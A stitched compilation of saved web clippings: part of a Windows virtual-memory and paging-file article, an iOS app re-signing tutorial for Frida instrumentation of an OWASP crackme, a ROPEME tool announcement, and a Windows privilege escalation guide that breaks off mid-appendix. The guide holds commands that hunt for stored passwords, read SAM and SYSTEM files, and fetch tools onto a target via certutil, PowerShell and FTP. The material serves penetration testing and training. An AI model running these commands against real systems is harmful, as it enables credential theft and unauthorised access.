from x64 comes from the fact that the top level page directory on IA64
reserves slots for Wow64 mappings\). On both IA64 and x64 versions of Windows,
the size of the various resource address space regions is 128GB \(e.g. non-
paged pool is assigned 128GB of the address space\), with the exception of the
file cache, which is assigned 1TB. The address space of a 64-bit process
therefore looks something like this:

The figure isn’t drawn to scale, because even 8TB, much less 128GB, would be a
small sliver. Suffice it to say that like our universe, there’s a lot of
emptiness in the address space of a 64-bit process.

When you run the 64-bit version of Testlimit \(Testlimit64\) on 64-bit Windows
with the –r switch, you’ll see it consume 8TB, which is the size of the part
of the address space it can manage:

<img src='img/Temp2_1106.png' alt='image' />

### Committed Memory

Testlimit’s –r switch has it reserve virtual memory, but not actually _commit_
it. Reserved virtual memory can’t actually store data or code, but
applications sometimes use a reservation to create a large block of virtual
memory and then commit it as needed to ensure that the committed memory is
contiguous in the address space. When a process commits a region of virtual
memory, the operating system guarantees that it can maintain all the data the
process stores in the memory either in physical memory or on disk. That means
that a process can run up against another limit: the _commit limit_.

As you’d expect from the description of the commit guarantee, the commit limit
is the sum of physical memory and the sizes of the paging files. In reality,
not quite all of physical memory counts toward the commit limit since the
operating system reserves part of physical memory for its own use. The amount
of committed virtual memory for all the active processes, called the _current
commit charge_ , cannot exceed the system commit limit. When the commit limit
is reached, virtual allocations that commit memory fail. That means that even
a standard 32-bit process may get virtual memory allocation failures before it
hits the 2GB address space limit.

The current commit charge and commit limit is tracked by Process Explorer in
its System Information window in the Commit Charge section and in the Commit
History bar chart and graph:

<img src='img/Temp2_1098.png' width='180' height='120' alt='image' />

Task Manager prior to Vista and Windows Server 2008 shows the current commit
charge and limit similarly, but calls the current commit charge "PF Usage" in
its graph:

<img src='img/Temp2_1109.png' alt='image' />

On Vista and Server 2008, Task Manager doesn't show the commit charge graph
and labels the current commit charge and limit values with "Page File"
\(despite the fact that they will be non-zero values even if you have no
paging file\):

You can stress the commit limit by running Testlimit with the -m switch, which
directs it to allocate committed memory. The 32-bit version of Testlimit may
or may not hit its address space limit before hitting the commit limit,
depending on the size of physical memory, the size of the paging files and the
current commit charge when you run it. If you're running 32-bit Windows and
want to see how the system behaves when you hit the commit limit, simply run
multiple instances of Testlimit until one hits the commit limit before
exhausting its address space.

Note that, by default, the paging file is configured to grow, which means that
the commit limit will grow when the commit charge nears it. And even when when
the paging file hits its maximum size, Windows is holding back some memory and
its internal tuning, as well as that of applications that cache data, might
free up more. Testlimit anticipates this and when it reaches the commit limit,
it sleeps for a few seconds and then tries to allocate more memory, repeating
this indefinitely until you terminate it.

If you run the 64-bit version of Testlimit, it will almost certainly will hit
the commit limit before exhausting its address space, unless physical memory
and the paging files sum to more than 8TB, which as described previously is
the size of the 64-bit application-accessible address space. Here's the
partial output of the 64-bit Testlimit running on my 8GB system \(I specified
an allocation size of 100MB to make it leak more quickly\):

<img src='img/Temp2_1108.png' alt='image' />

And here's the commit history graph with steps when Testlimit paused to allow
the paging file to grow:

<img src='img/Temp2_1104.png' width='249' height='131' alt='image' />

When system virtual memory runs low, applications may fail and you might get
strange error messages when attempting routine operations. In most cases,
though, Windows will be able present you the low-memory resolution dialog,
like it did for me when I ran this test:

<img src='img/Temp2_1110.png' alt='image' />

After you exit Testlimit, the commit limit will likely drop again when the
memory manager truncates the tail of the paging file that it created to
accommodate Testlimit's extreme commit requests. Here, Process Explorer shows
that the current limit is well below the peak that was achieved when Testlimit
was running:

<img src='img/Temp2_1097.png' width='181' height='121' alt='image' />

### Process Committed Memory

Because the commit limit is a global resource whose consumption can lead to
poor performance, application failures and even system failure, a natural
question is 'how much are processes contributing the commit charge'? To answer
that question accurately, you need to understand the different types of
virtual memory that an application can allocate.

Not all the virtual memory that a process allocates counts toward the commit
limit. As you've seen, reserved virtual memory doesn't. Virtual memory that
represents a file on disk, called a file mapping view, also doesn't count
toward the limit unless the application asks for copy-on-write semantics,
because Windows can discard any data associated with the view from physical
memory and then retrieve it from the file. The virtual memory in Testlimit's
address space where its executable and system DLL images are mapped therefore
don't count toward the commit limit. There are two types of process virtual
memory that do count toward the commit limit: private and pagefile-backed.

Private virtual memory is the kind that underlies the garbage collector heap,
native heap and language allocators. It's called private because by definition
it can't be shared between processes. For that reason, it's easy to attribute
to a process and Windows tracks its usage with the Private Bytes performance
counter. Process Explorer displays a process private bytes usage in the
Private Bytes column, in the Virtual Memory section of the Performance page of
the process properties dialog, and displays it in graphical form on the
Performance Graph page of the process properties dialog. Here's what
Testlimit64 looked like when it hit the commit limit:

<img src='img/Temp2_1103.png' alt='image' />

<img src='img/Temp2_1096.png' alt='image' />

Pagefile-backed virtual memory is harder to attribute, because it can be
shared between processes. In fact, there's no process-specific counter you can
look at to see how much a process has allocated or is referencing. When you
run Testlimit with the -s switch, it allocates pagefile-backed virtual memory
until it hits the commit limit, but even after consuming over 29GB of commit,
the virtual memory statistics for the process don't provide any indication
that it's the one responsible:

<img src='img/Temp2_1101.png' width='205' height='133' alt='image' />

For that reason, I added the -l switch to Handle a while ago. A process must
open a pagefile-backed virtual memory object, called a section, for it to
create a mapping of pagefile-backed virtual memory in its address space. While
Windows preserves existing virtual memory even if an application closes the
handle to the section that it was made from, most applications keep the handle
open. The -l switch prints the size of the allocation for pagefile-backed
sections that processes have open. Here's partial output for the handles open
by Testlimit after it has run with the -s switch:

<img src='img/Temp2_1107.png' alt='image' />

You can see that Testlimit is allocating pagefile-backed memory in 1MB blocks
and if you summed the size of all the sections it had opened, you'd see that
it was at least one of the processes contributing large amounts to the commit
charge.

### How Big Should I Make the Paging File?

Perhaps one of the most commonly asked questions related to virtual memory is,
how big should I make the paging file? There’s no end of ridiculous advice out
on the web and in the newsstand magazines that cover Windows, and even
Microsoft has published misleading recommendations. Almost all the suggestions
are based on multiplying RAM size by some factor, with common values being
1.2, 1.5 and 2. Now that you understand the role that the paging file plays in
defining a system’s commit limit and how processes contribute to the commit
charge, you’re well positioned to see how useless such formulas truly are.

Since the commit limit sets an upper bound on how much private and pagefile-
backed virtual memory can be allocated concurrently by running processes, the
only way to reasonably size the paging file is to know the maximum total
commit charge for the programs you like to have running at the same time. If
the commit limit is smaller than that number, your programs won’t be able to
allocate the virtual memory they want and will fail to run properly.

So how do you know how much commit charge your workloads require? You might
have noticed in the screenshots that Windows tracks that number and Process
Explorer shows it: Peak Commit Charge. To optimally size your paging file you
should start all the applications you run at the same time, load typical data
sets, and then note the commit charge peak \(or look at this value after a
period of time where you know maximum load was attained\). Set the paging file
minimum to be that value minus the amount of RAM in your system \(if the value
is negative, pick a minimum size to permit the kind of crash dump you are
configured for\). If you want to have some breathing room for potentially
large commit demands, set the maximum to double that number.

Some feel having no paging file results in better performance, but in general,
having a paging file means Windows can write pages on the modified list
\(which represent pages that aren’t being accessed actively but have not been
saved to disk\) out to the paging file, thus making that memory available for
more useful purposes \(processes or file cache\). So while there may be some
workloads that perform better with no paging file, in general having one will
mean more usable memory being available to the system \(never mind that
Windows won’t be able to write kernel crash dumps without a paging file sized
large enough to hold them\).

Paging file configuration is in the System properties, which you can get to by
typing “sysdm.cpl” into the Run dialog, clicking on the Advanced tab, clicking
on the Performance Options button, clicking on the Advanced tab \(this is
_really_ advanced\), and then clicking on the Change button:

<img src='img/Temp2_1099.png' alt='image' />

You’ll notice that the default configuration is for Windows to automatically
manage the page file size. When that option is set on Windows XP and Server
2003, Windows creates a single paging file that’s minimum size is 1.5 times
RAM if RAM is less than 1GB, and RAM if it's greater than 1GB, and that has a
maximum size that's three times RAM. On Windows Vista and Server 2008, the
minimum is intended to be large enough to hold a kernel-memory crash dump and
is RAM plus 300MB or 1GB, whichever is larger. The maximum is either three
times the size of RAM or 4GB, whichever is larger. That explains why the peak
commit on my 8GB 64-bit system that’s visible in one of the screenshots is
32GB. I guess whoever wrote that code got their guidance from one of those
magazines I mentioned\!

A couple of final limits related to virtual memory are the maximum size and
number of paging files supported by Windows. 32-bit Windows has a maximum
paging file size of 16TB \(4GB if you for some reason run in non-PAE mode\)
and 64-bit Windows can having paging files that are up to 16TB in size on x64
and 32TB on IA64. Windows 8 ARM’s maximum paging file size is is 4GB. For all
versions, Windows supports up to 16 paging files, where each must be on a
separate volume.

**Version** |  **Limit on x86 w/o PAE** |  **Limit on x86 w/PAE** |  **Limit on ARM** |  **Limit on x64** |  **Limit on IA64**  
---|---|---|---|---|---  
Windows 7 |  |  | |  |   
Windows 8 |  |  |  |  |   
Windows Server 2008 R2 |  |  | |  |   
Windows Server 2012 |  |  |  |  | 

# Vantage Point Security

**Created:**| _5/12/2017 1:07:44 PM_  
---|---  
**Updated:**| _5/12/2017 1:07:44 PM_  
**Author:**| __  
**Tags:**| _mobile/embedded_  
  

  

## Patching and Re-Signing iOS Apps

by Bernhard Mueller, 3 months ago

Mobile Reverse Engineering

Running modifed iOS binaries on non-jailbroken devices can sometimes be a
desirable proposition - especially if you just bricked your last jailbroken
iPhone and were forced to update to a non-jailbroken version of iOS \(this
never happened to me or anyone I know\). For example, you can use this
technique to instrument the app for dynamic analysis. Or perhaps you need to
do some GPS spoofing to catch region-locked Pokemon in Africa, but are worried
about being caught in the act. Either way, you can use the following process
to re-sign a modified app and run it on your own non-jailbroken device. Note
that this technique works only on if the binary isn't FairPlay-encrypted
\(i.e. obtained from the app store\).

Thanks to Apple's confusing provisioning and code signing system, re-singing
an app is more challenging than one would expect. iOS will refuse to run an
app unless you get the provisioning profile and code signature header
absolutely right. This requires you to learn about a whole lot of concepts -
certificates, BundleIDs, application IDs, team identifiers, and how they are
tied together using Apple's build tools. Suffice it to say, getting the OS to
run a particular binary that hasn't been built using the default way \(XCode\)
can be an daunting process.

The toolset we're going to use consists of optool, Apple's build tools and
some shell commands. This method is inspired by the resign script from Vincent
Tan's Swizzler project. An alternative way of repackaging using different
tools was described by NCC group.

To reproduce the steps listed below, download UnCrackable iOS App Level 1 from
the OWASP Mobile Testing Guide repo. Our goal is to make the UnCrackable app
load FridaGadget.dylib during startup so we can instrument it using Frida.

## Getting a Developer Provisioning Profile and Certificate

The _provisioning profile_ is a plist file signed by Apple that whitelists
your code signing certificate on one or multiple devices. In other words, this
is Apple explicitly allowing your app to run in certain contexts, such as
debugging on selected devices. The provisioning profile also lists the
_entitlements_ granted to your app. The _code signing certificate_ contains
the private key you'll use to do the actual signing.

Depending on whether you're registered as an iOS developer, you can use one of
the following two ways to obtain a certificate and provisioning profile.

**With an iOS developer account:**

If you have developed and deployed apps iOS using Xcode before, you'll already
own a code signing certificate. Use the _security_ tool to list your existing
signing identities:

`$ security find-identity -p codesigning -v  
1) 61FA3547E0AF42A11E233F6A2B255E6B6AF262CE "iPhone Distribution: Vantage
Point Security Pte. Ltd."  
2) 8004380F331DCA22CC1B47FB1A805890AE41C938 "iPhone Developer: Bernhard Müller
(RV852WND79)"`

Registered developers can obtain provisioning profiles from the Apple
Developer Portal. This involves first creating a new App ID, and then issuing
a provisioning profile allowing that App ID to run on your device\(s\). For
repackaging purposes, it doesn't really matter what App ID you choose - you
can even re-use an existing one. The important thing is to have a matching
provisioning profile. Make sure you create a _development provisioning
profile_ and not a _distribution_ profile, as you'll want to be able to attach
a debugger to the app.

In the shell commands listed below I'm using my own signing identity which is
associated with my company's development team. I created the app-id
"sg.vp.repackaged", as well as a provisioning profile aptly named
"AwesomeRepackaging", which yielded a file named
"AwesomeRepackaging.mobileprovision" - exchange this with your own id/filename
as needed.

**With a regular iTunes account:**

Mercifully, Apple will issue a free development provisioning profile to you
even if you're not a paying developer. You can obtain the profile with Xcode
using your regular Apple account - simply build an empty iOS project and
extract embedded.mobileprovision from the app container. The NCC blog entry
explains this process in great detail.

Once you have obtained the provisioning profile, you can check its contents
with the _security_ tool. Besides the allowed certificates and devices, you'll
find the entitlements granted to the app in the profile. You'll need those
later for code signing, so extract them to a separate plist file as shown
below. It is also worth having a look at the contents of the file to check if
everything looks as expected.

`$ security cms -D -i AwesomeRepackaging.mobileprovision > profile.plist  
$ /usr/libexec/PlistBuddy -x -c 'Print :Entitlements' profile.plist >
entitlements.plist  
$ cat entitlements.plist  
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">  
<plist version="1.0">  
<dict>  
<key>application-identifier</key>  
<string>LRUD9L355Y.sg.vantagepoint.repackage</string>  
<key>com.apple.developer.team-identifier</key>  
<string>LRUD9L355Y</string>  
<key>get-task-allow</key>  
<true/>  
<key>keychain-access-groups</key>  
<array>  
<string>LRUD9L355Y.*</string>  
</array>  
</dict>  
</plist>`

Note the application identitifier \(App ID\), which is a combination of the
Team ID \(LRUD9L355Y\) and Bundle ID \(sg.vantagepoint.repackage\). This
provisioning profile is only valid for the one app with this particular app
id. The "get-task-allow" key is also important - when set to "true", other
processes, such as the debugging server, are allowed to attach to the app
\(consequently, this would be set to "false" in a distribution profile\).

## Other Preparations

To make our app load an additional library at startup we need some way of
inserting an additional load command into the Mach-O header of the main
executable. We'll be using optool to automate this process:

`$ git clone https://github.com/alexzielenski/optool.git  
$ cd optool/  
$ git submodule update --init --recursive`

We'll also use ios-deploy, a tool that enables deploying and debugging of iOS
apps without using Xcode \(if you don't have node.js yet, you can install it
with homebrew\).

`$ npm install -g ios-deploy`

To follow the examples below, you also need FridaGadget.dylib:

`$ curl -O https://build.frida.re/frida/ios/lib/FridaGadget.dylib`

Besides the tools listed above, we'll be using standard tools that come with
OS X and Xcode \(make sure you have the Xcode command line developer tools
installed\).

## Patching, Repackaging and Re-Signing

Time to get serious\! As you surely now, IPA files are actually ZIP archives,
so use any zip tool to unpack the archive. Then, copy FridaGadget.dylib into
the app directory, and add a load command to the "UnCrackable Level 1" binary
using optool.

`$ unzip UnCrackable_Level1.ipa  
$ cp FridaGadget.dylib Payload/UnCrackable\ Level\ 1.app/  
$ optool install -c load -p "@executable_path/FridaGadget.dylib" -t
Payload/UnCrackable\ Level\ 1.app/UnCrackable\ Level\ 1  
Found FAT Header  
Found thin header...  
Found thin header...  
Inserting a LC_LOAD_DYLIB command for architecture: arm  
Successfully inserted a LC_LOAD_DYLIB command for arm  
Inserting a LC_LOAD_DYLIB command for architecture: arm64  
Successfully inserted a LC_LOAD_DYLIB command for arm64  
Writing executable to Payload/UnCrackable Level 1.app/UnCrackable Level 1...`

Such blatant tampering of course invalidates the the code signature of the
main executable, so this won't run on a non-jailbroken device. You'll need to
replace the provisioning profile and sign both the main executable and
FridaGadget.dylib with the certificate listed in the profile.

First, we add our own provisioning profile to the package:

`$ cp AwesomeRepackaging.mobileprovision Payload/UnCrackable\ Level\
1.app/embedded.mobileprovision\`

Next, we need to make sure that the BundleID in Info.plist matches the one
specified in the profile. The reason for this is that _codesign_ will read the
Bundle ID from Info.plist during signing - a wrong value will result in an
invalid signature.

`$ /usr/libexec/PlistBuddy -c "Set :CFBundleIdentifier
sg.vantagepoint.repackage" Payload/UnCrackable\ Level\ 1.app/Info.plist`

Finally, we use the codesign tool to re-sign both binaries:

`$ rm -rf Payload/F/_CodeSignature  
$ /usr/bin/codesign --force --sign 8004380F331DCA22CC1B47FB1A805890AE41C938
Payload/UnCrackable\ Level\ 1.app/FridaGadget.dylib  
Payload/UnCrackable Level 1.app/FridaGadget.dylib: replacing existing
signature  
$ /usr/bin/codesign --force --sign 8004380F331DCA22CC1B47FB1A805890AE41C938
--entitlements entitlements.plist Payload/UnCrackable\ Level\
1.app/UnCrackable\ Level\ 1  
Payload/UnCrackable Level 1.app/UnCrackable Level 1: replacing existing
signature`

##

## Installing and Running the App

Now you should be all set for running the modified app. Deploy and run the app
on the device as follows.

`$ ios-deploy --debug --bundle Payload/UnCrackable\ Level\ 1.app/`

If everything went well, the app should launch on the device in debugging mode
with lldb attached. Frida should now be able to attach to the app as well. You
can verify this with the frida-ps command:

`$ frida-ps -U  
PID Name  
--- ------  
499 Gadget`

You can now use Frida to instrument the app as usual. Perhaps it is not as
"uncrackable" as its name implies?

## Troubleshooting

If something goes wrong \(which it usually does\), mismatches between the
provisioning profile and code signing header are the most likely suspect. In
that case it is helpful to read the official documentation and gaining an
understanding of how the whole system works. I also found Apple's entitlement
troubleshooting page to be a useful resource.

## About this Article

This article is part of the Mobile Reverse Engineering Unleashed series. Click
the blue label on the top of this page to list orther articles in this series.

## About the OWASP Mobile Security Testing Guide

I wrote this howto for the OWASP Mobile Security Testing Guide \(MSTG\), a
manual for testing the security of mobile apps. The MSTG is an open source
effort and we welcome contributions and feedback. To discuss and contribute,
join the OWASP Mobile Security Project Slack Channel. You can sign up here:

http://owasp.herokuapp.com/

Also, check out the mobile crackmes we developed for the guide\!

## About the Author

Bernhard Mueller is a full-stack hacker, security researcher, and winner of
BlackHat's Pwnie Award.

Follow him on Twitter: @muellerberndt

  

# ROPEME – ROP Exploit Made Easy : VNSECURITY TEAM \(Vietnam Internet Security
Research Team\)

**Created:**| _8/13/2010 9:04:10 PM_  
---|---  
**Updated:**| _8/13/2010 9:04:19 PM_  
**Author:**| __  
**Tags:**| _Exploit Linux rop_  
  

# ROPEME – ROP Exploit Made Easy

August 13, 2010 by longld · 1 Comment  

ROPEME – ROP Exploit Made Easy – is a PoC tool for ROP exploit automation on
Linux x86. It contains a set of simple Python scripts to generate and search
for ROP gadgets from binaries and libraries \(e.g libc\). A sample payload
class is also included to help generate multistage ROP payload with the
technique described in the Black Hat USA 2010 talk: “Payload already inside:
data re-use for ROP exploits“.

Check the latest paper and slides and PoC code.

And take a look at the demo video below:

Enjoy ROPing\!

# Windows Privilege Escalation Guide

**Created:**| _3/7/2018 8:36:53 AM_  
---|---  
**Updated:**| _3/7/2018 8:36:53 AM_  
**Author:**| _wishi_  
**Tags:**| _post-exploitation windows priv\_esc_  
  

  

# Windows Privilege Escalation Guide

## Introduction

Privilege escalation always comes down to proper enumeration. But to
accomplish proper enumeration you need to know what to check and look for.
This takes familiarity with systems that normally comes along with experience.
At first privilege escalation can seem like a daunting task, but after a while
you start to filter through what is normal and what isn’t. It eventually
becomes easier to know what to look for rather than digging through everything
hoping to find that needle in the haystack. Hopefully this guide will provide
a good foundation to build upon and get you started.

This guide is influenced by g0tm1lk’s Basic Linux Privilege Escalation, which
at some point you should have already seen and used. I wanted to try to mirror
his guide, except for Windows. So this guide will mostly focus on the
enumeration aspect.

_Note: I am not an expert and still learning myself._

### Guide Layout

In each section I first provide the old trusted CMD commands and then also a
Powershell equivalent for posterity sake. It’s good to have both tools under
your belt and Powershell is much more versatile for scripting than the
traditional CMD. However there isn’t a Powershell equivalent for everything
\(or CMD is still simply easier/better on certain things\), so some sections
will only contain regular CMD commands.

## Operating System

What is the OS and architecture? Is it missing any patches?

[code]

    systeminfo
    wmic qfe
    
[/code]

Is there anything interesting in environment variables? A domain controller in
`LOGONSERVER`?

[code]

    set
    
[/code]

[code]

    Get-ChildItem Env: | ft Key,Value
    
[/code]

Are there any other connected drives?

[code]

    net use
    wmic logicaldisk get caption,description,providername
    
[/code]

[code]

    Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
    
[/code]

## Users

Who are you?

[code]

    whoami
    echo %USERNAME%
    
[/code]

[code]

    $env:UserName
    
[/code]

Any interesting user privileges? _Note: The State column does not mean that
the user does or does not have access to this privilege. If the privilege is
listed, then that user has it._

[code]

    whoami /priv
    
[/code]

What users are on the system? Any old user profiles that weren’t cleaned up?

[code]

    net users
    dir /b /ad "C:\Users\"
    dir /b /ad "C:\Documents and Settings\" # Windows XP and below
    
[/code]

[code]

    Get-LocalUser | ft Name,Enabled,LastLogon
    Get-ChildItem C:\Users -Force | select Name
    
[/code]

Is anyone else logged in?

[code]

    qwinsta
    
[/code]

What groups are on the system?

[code]

    net localgroup
    
[/code]

[code]

    Get-LocalGroup | ft Name
    
[/code]

Are any of the users in the Administrators group?

[code]

    net localgroup Administrators
    
[/code]

[code]

    Get-LocalGroupMember Administrators | ft Name, PrincipalSource
    
[/code]

Anything in the Registry for User Autologon?

[code]

    reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
    
[/code]

[code]

    Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | select "Default*"
    
[/code]

Anything interesting in Credential Manager?

[code]

    cmdkey /list
    
[/code]

Can we access SAM and SYSTEM files?

[code]

    %SYSTEMROOT%\repair\SAM
    %SYSTEMROOT%\System32\config\RegBack\SAM
    %SYSTEMROOT%\System32\config\SAM
    %SYSTEMROOT%\repair\system
    %SYSTEMROOT%\System32\config\SYSTEM
    %SYSTEMROOT%\System32\config\RegBack\system
    
[/code]

## Programs, Processes, and Services

What software is installed?

[code]

    dir /a "C:\Program Files"
    dir /a "C:\Program Files (x86)"
    reg query HKEY_LOCAL_MACHINE\SOFTWARE
    
[/code]

[code]

    Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
    
    Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
    
[/code]

Are there any weak folder or file permissions?

Full Permissions for Everyone or Users on Program Folders?

[code]

    icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone"
    icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "Everyone"
    
    icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
    icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users" 
    
[/code]

Modify Permissions for Everyone or Users on Program Folders?

[code]

    icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "Everyone"
    icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "Everyone"
    
    icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users" 
    icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users" 
    
[/code]

[code]

    Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}} 
    
    Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}} 
    
[/code]

You can also upload accesschk from Sysinternals to check for writeable folders
and files.

[code]

    accesschk.exe -qwsu "Everyone" *
    accesschk.exe -qwsu "Authenticated Users" *
    accesschk.exe -qwsu "Users" *
    
[/code]

What are the running processes/services on the system? Is there an inside
service not exposed? If so, can we open it? _See Port Forwarding in Appendix._

[code]

    tasklist /svc
    tasklist /v
    net start
    sc query
    
[/code]

[code]

    Get-Process | ft ProcessName,Id
    Get-Service
    
[/code]

Any weak service permissions? Can we reconfigure anything? Again, upload
accesschk.

[code]

    accesschk.exe -uwcqv "Everyone" *
    accesschk.exe -uwcqv "Authenticated Users" *
    accesschk.exe -uwcqv "Users" *
    
[/code]

Are there any unquoted service paths?

[code]

    wmic service get name,displayname,pathname,startmode 2>nul |findstr /i "Auto" 2>nul |findstr /i /v "C:\Windows\\" 2>nul |findstr /i /v """
    
[/code]

What scheduled tasks are there? Anything custom implemented?

[code]

    schtasks /query /fo LIST 2>nul | findstr TaskName
    dir C:\windows\tasks
    
[/code]

[code]

    Get-ScheduledTask | ft TaskName, State
    
[/code]

What is ran at startup?

[code]

    wmic startup get caption,command
    reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
    reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
    reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
    reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
    dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
    dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
    
[/code]

[code]

    Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl
    Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run'
    Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce'
    Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run'
    Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce'
    Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup"
    Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
    
[/code]

Is AlwaysInstallElevated enabled? _I have not ran across this but it doesn’t
hurt to check._

[code]

    reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    
[/code]

## Networking

What NICs are connected? Are there multiple networks?

[code]

    ipconfig /all
    
[/code]

[code]

    Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
    
[/code]

What routes do we have?

[code]

    route print
    
[/code]

[code]

    Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
    
[/code]

Anything in the ARP cache?

[code]

    arp -a
    
[/code]

[code]

    Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
    
[/code]

Are there connections to other hosts?

[code]

    netstat -ano
    
[/code]

Anything in the hosts file?

[code]

    C:\WINDOWS\System32\drivers\etc\hosts
    
[/code]

Is the firewall turned on? If so what’s configured?

[code]

    netsh firewall show state
    netsh firewall show config
    netsh advfirewall firewall show rule name=all
    netsh advfirewall export "firewall.txt"
    
[/code]

Any other interesting interface configurations?

[code]

    netsh dump
    
[/code]

Are there any SNMP configurations?

[code]

    reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
    
[/code]

[code]

    Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
    
[/code]

## Interesting Files and Sensitive Information

This section may be a little noisy so you may want to output commands into txt
files to review and parse as you wish.

Any passwords in the registry?

[code]

    reg query HKCU /f password /t REG_SZ /s
    reg query HKLM /f password /t REG_SZ /s 
    
[/code]

Are there sysprep or unattend files available that weren’t cleaned up?

[code]

    dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
    
[/code]

[code]

    Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
    
[/code]

If the server is an IIS webserver, what’s in inetpub? Any hidden directories?
web.config files?

[code]

    dir /a C:\inetpub\
    dir /s web.config
    C:\Windows\System32\inetsrv\config\applicationHost.config
    
[/code]

[code]

    Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
    
[/code]

What’s in the IIS Logs?

[code]

    C:\inetpub\logs\LogFiles\W3SVC1\u_ex[YYMMDD].log
    C:\inetpub\logs\LogFiles\W3SVC2\u_ex[YYMMDD].log
    C:\inetpub\logs\LogFiles\FTPSVC1\u_ex[YYMMDD].log
    C:\inetpub\logs\LogFiles\FTPSVC2\u_ex[YYMMDD].log
    
[/code]

Is XAMPP, Apache, or PHP installed? Any there any XAMPP, Apache, or PHP
configuration files?

[code]

    dir /s php.ini httpd.conf httpd-xampp.conf my.ini my.cnf
    
[/code]

[code]

    Get-Childitem –Path C:\ -Include php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -ErrorAction SilentlyContinue
    
[/code]

Any Apache web logs?

[code]

    dir /s access.log error.log
    
[/code]

[code]

    Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
    
[/code]

Any interesting files to look at? Possibly inside User directories \(Desktop,
Documents, etc\)?

[code]

    dir /s *pass* == *vnc* == *.config* 2>nul
    
[/code]

[code]

    Get-Childitem –Path C:\Users\ -Include *password*,*vnc*,*.config -File -Recurse -ErrorAction SilentlyContinue
    
[/code]

Files containing password inside them?

[code]

    findstr /si password *.xml *.ini *.txt *.config 2>nul
    
[/code]

[code]

    Get-ChildItem C:\* -include *.xml,*.ini,*.txt,*.config -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password"
    
[/code]

# Appendix

## Transferring Files

At some point during privilege escalation you will need to get files onto your
target. Below are some easy ways to do so.

Powershell Cmdlet \(Powershell 3.0 and higher\)

[code]

    Invoke-WebRequest "https://myserver/filename" -OutFile "C:\Windows\Temp\filename"
    
[/code]

Powershell One-Liner

[code]

    (New-Object System.Net.WebClient).DownloadFile("https://myserver/filename", "C:\Windows\Temp\filename") 
    
[/code]

Powershell Script

[code]

    echo $webclient = New-Object System.Net.WebClient >>wget.ps1
    echo $url = "http://IPADDRESS/file.exe" >>wget.ps1
    echo $file = "output-file.exe" >>wget.ps1
    echo $webclient.DownloadFile($url,$file) >>wget.ps1
    		
    powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
    
[/code]

Non-interactive FTP via text file. _Useful for when you only have limited
command execution._

[code]

    echo open 10.10.10.11 21> ftp.txt
    echo USER username>> ftp.txt
    echo mypassword>> ftp.txt
    echo bin>> ftp.txt
    echo GET filename>> ftp.txt
    echo bye>> ftp.txt
    		
    ftp -v -n -s:ftp.txt
    
[/code]

CertUtil

[code]

    certutil.exe -urlcache -split -f https://myserver/filename outputfilename
    
[/code]

## Port Forwarding

This is useful for exposing inside services that aren’t available from outside
the machine, normally due to firewall settings.

Upload `plink.exe` to target.

Start SSH on your attacking machine.

For example to expose SMB, on the target run:

[code]

